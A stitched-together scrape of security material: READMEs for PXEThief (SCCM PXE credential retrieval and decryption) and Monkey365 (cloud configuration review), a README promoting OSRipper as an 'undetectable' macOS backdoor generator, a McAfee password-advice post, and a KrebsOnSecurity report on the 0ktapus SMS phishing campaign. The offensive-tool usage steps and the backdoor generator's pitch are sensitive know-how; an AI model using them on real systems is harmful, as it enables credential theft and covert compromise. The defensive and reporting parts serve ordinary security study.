pxethief.py 6 <identityguid> <identitycert-file-name> - Retrieve task sequences using the values obtained from registry keys on a DP
pxethief.py 7 <Reserved1-value> - Decrypt stored PXE password from SCCM DP registry key (reg query HKLM\software\microsoft\sms\dp /v Reserved1)
pxethief.py 8 - Write new default 'settings.ini' file in PXEThief directory
pxethief.py 10 - Print Scapy interface table to identify interface indexes for use in 'settings.ini'
pxethief.py -h - Print PXEThief help text
pxethief.py 5 <variables-file-name>
should be used to generate a 'hash' of a media variables file that can be used for password guessing attacks with the Hashcat module published at https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module.
A file contained in the main PXEThief folder is used to set more static configuration options. These are as follows:
[SCAPY SETTINGS]
automatic_interface_selection_mode = 1
manual_interface_selection_by_id =
[HTTP CONNECTION SETTINGS]
use_proxy = 0
use_tls = 0
[GENERAL SETTINGS]
sccm_base_url =
auto_exploit_blank_password = 1
automatic_interface_selection_mode
will attempt to determine the best interface for Scapy to use automatically, for convenience. It does this using two main techniques. If set to 1
it will attempt to use the interface that can reach the machine's default GW as output interface. If set to 2
, it will look for the first interface that it finds that has an IP address that is not an autoconfigure or localhost IP address. This will fail to select the appropriate interface in some scenarios, which is why you can force the use of a specific inteface with 'manual_interface_selection_by_id'.manual_interface_selection_by_id
allows you to specify the integer index of the interface you want Scapy to use. The ID to use in this file should be obtained from running pxethief.py 10
.sccm_base_url
is useful for overriding the Management Point that the tooling will speak to. This is useful if DNS does not resolve (so the value read from the media variables file cannot be used) or if you have identified multiple Management Points and want to send your traffic to a specific one. This should be provided in the form of a base URL e.g. http://mp.configmgr.com
instead of mp.configmgr.com
or http://mp.configmgr.com/stuff
.auto_exploit_blank_password
changes the behaviour of pxethief 1
to automatically attempt to exploit a non-password protected PXE Distribution Point. Setting this to 1
will enable auto exploitation, while setting it to 0
will print the tftp client string you should use to download the media variables file. Note that almost all of the time you will want this set to 1
, since non-password protected PXE makes use of a binary key that is sent in the DHCP response that you receive when you ask the Distribution Point to perform a PXE boot.Not implemented in this release
pip install -r requirements.txt
)pxethief.py 1
or pxethief.py 2
to identify and generate a media variables file, make sure the interface used by the tool is set to the correct one, if it is not correct, manually set it in 'settings.ini' by identifying the right index ID to use from pxethief.py 10
pxethief.py
and the address of the proxy can be set on line 693. I am planning to move this feature to be configurable in 'settings.ini' in the next update to the code basepywin32
in order to utilise some built-in Windows cryptography functions. This is not available on Linux, since the Windows cryptography APIs are not available on Linux :P The Scapy code in pxethief.py
, however, is fully functional on Linux, but you will need to patch out (at least) the include of win32crypt
to get it to run under LinuxExpect to run into issues with error handling with this tool; there are subtle nuances with everything in ConfigMgr and while I have improved the error handling substantially in preparation for the tool's release, this is in no way complete. If there are edge cases that fail, make a detailed issue or fix it and make a pull request :) I'll review these to see where reasonable improvements can be made. Read the code/watch the talk and understand what is going on if you are going to run it in a production environment. Keep in mind the licensing terms - i.e. use of the tool is at your own risk.
Identifying and retrieving credentials from SCCM/MECM Task Sequences - In this post, I explain the entire flow of how ConfigMgr policies are found, downloaded and decrypted after a valid OSD certificate is obtained. I also want to highlight the first two references in this post as they show very interesting offensive SCCM research that is ongoing at the moment.
DEF CON 30 Slides - Link to the talk slides
Copyright (C) 2022 Christopher Panayi, MWR CyberSec
Monkey365 is an Open Source security tool that can be used to easily conduct not only Microsoft 365, but also Azure subscriptions and Azure Active Directory security configuration reviews without the significant overhead of learning tool APIs or complex admin panels from the start. To help with this effort, Monkey365 also provides several ways to identify security gaps in the desired tenant setup and configuration. Monkey365 provides valuable recommendations on how to best configure those settings to get the most out of your Microsoft 365 tenant or Azure subscription.
Monkey365 is a plugin-based PowerShell module that can be used to review the security posture of your cloud environment. With Monkey365 you can scan for potential misconfigurations and security issues in public cloud accounts according to security best practices and compliance standards, across Azure, Azure AD, and Microsoft365 core applications.
You can either download the latest zip by clicking this link or download Monkey365 by cloning the repository:
Once downloaded, you must extract the file and extract the files to a suitable directory. Once you have unzipped the zip file, you can use the PowerShell V3 Unblock-File cmdlet to unblock files:
Get-ChildItem -Recurse c:\monkey365 | Unblock-File
Once you have installed the monkey365 module on your system, you will likely want to import the module with the Import-Module cmdlet. Assuming that Monkey365 is located in the PSModulePath
, PowerShell would load monkey365 into active memory:
Import-Module monkey365
If Monkey365 is not located on a PSModulePath
path, you can use an explicit path to import:
Import-Module C:\temp\monkey365
You can also use the Force
parameter in case you want to reimport the Monkey365 module into the same session
Import-Module C:\temp\monkey365 -Force
The following command will provide the list of available command line options:
Get-Help Invoke-Monkey365
To get a list of examples use:
Get-Help Invoke-Monkey365 -Examples
To get a list of all options and examples with detailed info use:
Get-Help Invoke-Monkey365 -Detailed
The following example will retrieve data and metadata from Azure AD and SharePoint Online and then print results. If credentials are not supplied, Monkey365 will prompt for credentials.
$param = @{
Instance = 'Microsoft365';
Analysis = 'SharePointOnline';
PromptBehavior = 'SelectAccount';
IncludeAzureActiveDirectory = $true;
ExportTo = 'PRINT';
}
$assets = Invoke-Monkey365 @param
Monkey365 helps streamline the process of performing not only Microsoft 365, but also Azure subscriptions and Azure Active Directory Security Reviews.
160+ checks covering industry defined security best practices for Microsoft 365, Azure and Azure Active Directory.
Monkey365 will help consultants to assess cloud environment and to analyze the risk factors according to controls and best practices. The report will contain structured data for quick checking and verification of the results.
By default, the HTML report shows you the CIS (Center for Internet Security) Benchmark. The CIS Benchmarks for Azure and Microsoft 365 are guidelines for security and compliance best practices.
The following standards are supported by Monkey365:
More standards will be added in next releases (NIST, HIPAA, GDPR, PCI-DSS, etc..) as they are available.
Additional information such as Installation or advanced usage can be found in the following link
OSripper is a fully undetectable Backdoor generator and Crypter which specialises in OSX M1 malware. It will also work on windows but for now there is no support for it and it IS NOT FUD for windows (yet at least) and for now i will not focus on windows.
You can also PM me on discord for support or to ask for new features SubGlitch1#2983
Please check the wiki for information on how OSRipper functions (which changes extremely frequently)
https://github.com/SubGlitch1/OSRipper/wiki
Here are example backdoors which were generated with OSRipper
macOS .apps will look like this on vt
You need python. If you do not wish to download python you can download a compiled release. The python dependencies are specified in the requirements.txt file.
Since Version 1.4 you will need metasploit installed and on path so that it can handle the meterpreter listeners.
apt install git python -y
git clone https://github.com/SubGlitch1/OSRipper.git
cd OSRipper
pip3 install -r requirements.txt
git clone https://github.com/SubGlitch1/OSRipper.git
cd OSRipper
pip3 install -r requirements.txt
or download the latest release from https://github.com/SubGlitch1/OSRipper/releases/tag/v0.2.3
Only this
sudo python3 main.py
Please feel free to fork and open pull repuests. Suggestions/critisizm are appreciated as well
Coming soon
Just open a issue and ill make sure to get back to you
0.2.1
0.1.6
0.1.5
0.1.4
0.1.3
0.1.2
0.1.1
MIT
Inspiration, code snippets, etc.
I am very sorry to even write this here but my finances are not looking good right now. If you appreciate my work i would really be happy about any donation. You do NOT have to this is solely optional
BTC: 1LTq6rarb13Qr9j37176p3R9eGnp5WZJ9T
I am not responsible for what is done with this project. This tool is solely written to be studied by other security researchers to see how easy it is to develop macOS malware.
Password protection is one of the most common security protocols available. By creating a unique password, you are both proving your identity and keeping your personal information safer. However, when every account you have requires a separate password, it can be an overwhelming task. While you should be concerned about the safety of your data, you also want to avoid the frustration of forgetting your password and being blocked from the information you need. However, the benefits of using strong, unique passwords outweigh the occasional inconvenience.
The main benefit of a strong password is security. Hackers work quickly when they are trying to access accounts. They want to steal as much information as they can in as short a time as possible. This makes an account with a strong password less inviting because cracking the code is much more involved.
A strong password also limits the damage that hackers can do to your personal accounts. A common strategy involves cracking the passwords of less secure sites with limited personal information. The hackers hope that they can use the password from your gym membership app to access information in your online banking account. Strong password protection prevents this situation.
When someone is registering an online account, it can be tempting to blaze through the password process. In order to move quickly, there are several poor password practices that people employ.
A password is considered strong when it is difficult for a hacker to crack it quickly. Sophisticated algorithms can run through many password combinations in a short time. A password that is long, complex and unique will discourage attempts to break into your accounts.
If you want a password that is memorable but strong, you can easily turn a phrase into a layered, complex password. In this process, it is important to note that you should not use personal information that is available online as part of your phrase.
Now, you have a password that you can remember while challenging the algorithms hackers use.
When you consider the number of accounts you need to protect, coming up with a properly layered password is a time-consuming task. Even if you are able to decide on a memorable phrase, there are just too many accounts that need passwords. A password manager is a helpful tool to keep you safe while you are online. It acts as a database for all of your passwords. Each time you create a new code, it stores it so that you can automatically enter it later. You only need to remember a single password to access the tools of your manager.
Most managers can also do the work of creating complex, layered passwords for your accounts. These will be a string of random numbers, letters and characters. They will not be memorable, but you are relying on the manager to do the memorizing. These machine-generated passwords are especially helpful for accounts you rarely access or that do not hold significant information.
For critical accounts like your bank account or a work-related account, it can be helpful to keep an offline list of your passwords. Complex passwords are meant to be difficult to remember. You may recall the phrase but not all the detailed changes that make it layered. Keeping a document on a zip drive or even in a physical paper file or journal will allow you to access your information if your hardware fails or you are switching to a new system.
Cracking passwords is just one of the strategies hackers use to steal information. In addition to using strong passwords, it is important to employ comprehensive security software. Strong passwords will help protect your online accounts. Strong overall security will keep your hardware and network safe from danger.
The post Strong Password Ideas to Keep Your Information Safe appeared first on McAfee Blog.
Phishers are enjoying remarkable success using text messages to steal remote access credentials and one-time passcodes from employees at some of the world’s largest technology companies and customer support firms. A recent spate of SMS phishing attacks from one cybercriminal group has spawned a flurry of breach disclosures from affected companies, which are all struggling to combat the same lingering security threat: The ability of scammers to interact directly with employees through their mobile devices.
In mid-June 2022, a flood of SMS phishing messages began targeting employees at commercial staffing firms that provide customer support and outsourcing to thousands of companies. The missives asked users to click a link and log in at a phishing page that mimicked their employer’s Okta authentication page. Those who submitted credentials were then prompted to provide the one-time password needed for multi-factor authentication.
The phishers behind this scheme used newly-registered domains that often included the name of the target company, and sent text messages urging employees to click on links to these domains to view information about a pending change in their work schedule.
The phishing sites leveraged a Telegram instant message bot to forward any submitted credentials in real-time, allowing the attackers to use the phished username, password and one-time code to log in as that employee at the real employer website. But because of the way the bot was configured, it was possible for security researchers to capture the information being sent by victims to the public Telegram server.
This data trove was first reported by security researchers at Singapore-based Group-IB, which dubbed the campaign “0ktapus” for the attackers targeting organizations using identity management tools from Okta.com.
“This case is of interest because despite using low-skill methods it was able to compromise a large number of well-known organizations,” Group-IB wrote. “Furthermore, once the attackers compromised an organization they were quickly able to pivot and launch subsequent supply chain attacks, indicating that the attack was planned carefully in advance.”
It’s not clear how many of these phishing text messages were sent out, but the Telegram bot data reviewed by KrebsOnSecurity shows they generated nearly 10,000 replies over approximately two months of sporadic SMS phishing attacks targeting more than a hundred companies.
A great many responses came from those who were apparently wise to the scheme, as evidenced by the hundreds of hostile replies that included profanity or insults aimed at the phishers: The very first reply recorded in the Telegram bot data came from one such employee, who responded with the username “havefuninjail.”
Still, thousands replied with what appear to be legitimate credentials — many of them including one-time codes needed for multi-factor authentication. On July 20, the attackers turned their sights on internet infrastructure giant Cloudflare.com, and the intercepted credentials show at least three employees fell for the scam.
Image: Cloudflare.com
In a blog post earlier this month, Cloudflare said it detected the account takeovers and that no Cloudflare systems were compromised. Cloudflare said it does not rely on one-time passcodes as a second factor, so there was nothing to provide to the attackers. But Cloudflare said it wanted to call attention to the phishing attacks because they would probably work against most other companies.
“This was a sophisticated attack targeting employees and systems in such a way that we believe most organizations would be likely to be breached,” Cloudflare CEO Matthew Prince wrote. “On July 20, 2022, the Cloudflare Security team received reports of employees receiving legitimate-looking text messages pointing to what appeared to be a Cloudflare Okta login page. The messages began at 2022-07-20 22:50 UTC. Over the course of less than 1 minute, at least 76 employees received text messages on their personal and work phones. Some messages were also sent to the employees family members.”
On three separate occasions, the phishers targeted employees at Twilio.com, a San Francisco based company that provides services for making and receiving text messages and phone calls. It’s unclear how many Twilio employees received the SMS phishes, but the data suggest at least four Twilio employees responded to a spate of SMS phishing attempts on July 27, Aug. 2, and Aug. 7.
On that last date, Twilio disclosed that on Aug. 4 it became aware of unauthorized access to information related to a limited number of Twilio customer accounts through a sophisticated social engineering attack designed to steal employee credentials.
“This broad based attack against our employee base succeeded in fooling some employees into providing their credentials,” Twilio said. “The attackers then used the stolen credentials to gain access to some of our internal systems, where they were able to access certain customer data.”
That “certain customer data” included information on roughly 1,900 users of the secure messaging app Signal, which relied on Twilio to provide phone number verification services. In its disclosure on the incident, Signal said that with their access to Twilio’s internal tools the attackers were able to re-register those users’ phone numbers to another device.
On Aug. 25, food delivery service DoorDash disclosed that a “sophisticated phishing attack” on a third-party vendor allowed attackers to gain access to some of DoorDash’s internal company tools. DoorDash said intruders stole information on a “small percentage” of users that have since been notified. TechCrunch reported last week that the incident was linked to the same phishing campaign that targeted Twilio.
This phishing gang apparently had great success targeting employees of all the major mobile wireless providers, but most especially T-Mobile. Between July 10 and July 16, dozens of T-Mobile employees fell for the phishing messages and provided their remote access credentials.
“Credential theft continues to be an ongoing issue in our industry as wireless providers are constantly battling bad actors that are focused on finding new ways to pursue illegal activities like this,” T-Mobile said in a statement. “Our tools and teams worked as designed to quickly identify and respond to this large-scale smishing attack earlier this year that targeted many companies. We continue to work to prevent these types of attacks and will continue to evolve and improve our approach.”
This same group saw hundreds of responses from employees at some of the largest customer support and staffing firms, including Teleperformanceusa.com, Sitel.com and Sykes.com. Teleperformance did not respond to requests for comment. KrebsOnSecurity did hear from Christopher Knauer, global chief security officer at Sitel Group, the customer support giant that recently acquired Sykes. Knauer said the attacks leveraged newly-registered domains and asked employees to approve upcoming changes to their work schedules.
Knauer said the attackers set up the phishing domains just minutes in advance of spamming links to those domains in phony SMS alerts to targeted employees. He said such tactics largely sidestep automated alerts generated by companies that monitor brand names for signs of new phishing domains being registered.
“They were using the domains as soon as they became available,” Knauer said. “The alerting services don’t often let you know until 24 hours after a domain has been registered.”
On July 28 and again on Aug. 7, several employees at email delivery firm Mailchimp provided their remote access credentials to this phishing group. According to an Aug. 12 blog post, the attackers used their access to Mailchimp employee accounts to steal data from 214 customers involved in cryptocurrency and finance.
On Aug. 15, the hosting company DigitalOcean published a blog post saying it had severed ties with MailChimp after its Mailchimp account was compromised. DigitalOcean said the MailChimp incident resulted in a “very small number” of DigitalOcean customers experiencing attempted compromises of their accounts through password resets.
According to interviews with multiple companies hit by the group, the attackers are mostly interested in stealing access to cryptocurrency, and to companies that manage communications with people interested in cryptocurrency investing. In an Aug. 3 blog post from email and SMS marketing firm Klaviyo.com, the company’s CEO recounted how the phishers gained access to the company’s internal tools, and used that to download information on 38 crypto-related accounts.
A flow chart of the attacks by the SMS phishing group known as 0ktapus and ScatterSwine. Image: Amitai Cohen for Wiz.io. twitter.com/amitaico.
The ubiquity of mobile phones became a lifeline for many companies trying to manage their remote employees throughout the Coronavirus pandemic. But these same mobile devices are fast becoming a liability for organizations that use them for phishable forms of multi-factor authentication, such as one-time codes generated by a mobile app or delivered via SMS.
Because as we can see from the success of this phishing group, this type of data extraction is now being massively automated, and employee authentication compromises can quickly lead to security and privacy risks for the employer’s partners or for anyone in their supply chain.
Unfortunately, a great many companies still rely on SMS for employee multi-factor authentication. According to a report this year from Okta, 47 percent of workforce customers deploy SMS and voice factors for multi-factor authentication. That’s down from 53 percent that did so in 2018, Okta found.
Some companies (like Knauer’s Sitel) have taken to requiring that all remote access to internal networks be managed through work-issued laptops and/or mobile devices, which are loaded with custom profiles that can’t be accessed through other devices.
Others are moving away from SMS and one-time code apps and toward requiring employees to use physical FIDO multi-factor authentication devices such as security keys, which can neutralize phishing attacks because any stolen credentials can’t be used unless the phishers also have physical access to the user’s security key or mobile device.
This came in handy for Twitter, which announced last year that it was moving all of its employees to using security keys, and/or biometric authentication via their mobile device. The phishers’ Telegram bot reported that on June 16, 2022, five employees at Twitter gave away their work credentials. In response to questions from KrebsOnSecurity, Twitter confirmed several employees were relieved of their employee usernames and passwords, but that its security key requirement prevented the phishers from abusing that information.
Twitter accelerated its plans to improve employee authentication following the July 2020 security incident, wherein several employees were phished and relieved of credentials for Twitter’s internal tools. In that intrusion, the attackers used Twitter’s tools to hijack accounts for some of the world’s most recognizable public figures, executives and celebrities — forcing those accounts to tweet out links to bitcoin scams.
“Security keys can differentiate legitimate sites from malicious ones and block phishing attempts that SMS 2FA or one-time password (OTP) verification codes would not,” Twitter said in an Oct. 2021 post about the change. “To deploy security keys internally at Twitter, we migrated from a variety of phishable 2FA methods to using security keys as our only supported 2FA method on internal systems.”
Update, 6:02 p.m. ET: Clarified that Cloudflare does not rely on TOTP (one-time multi-factor authentication codes) as a second factor for employee authentication.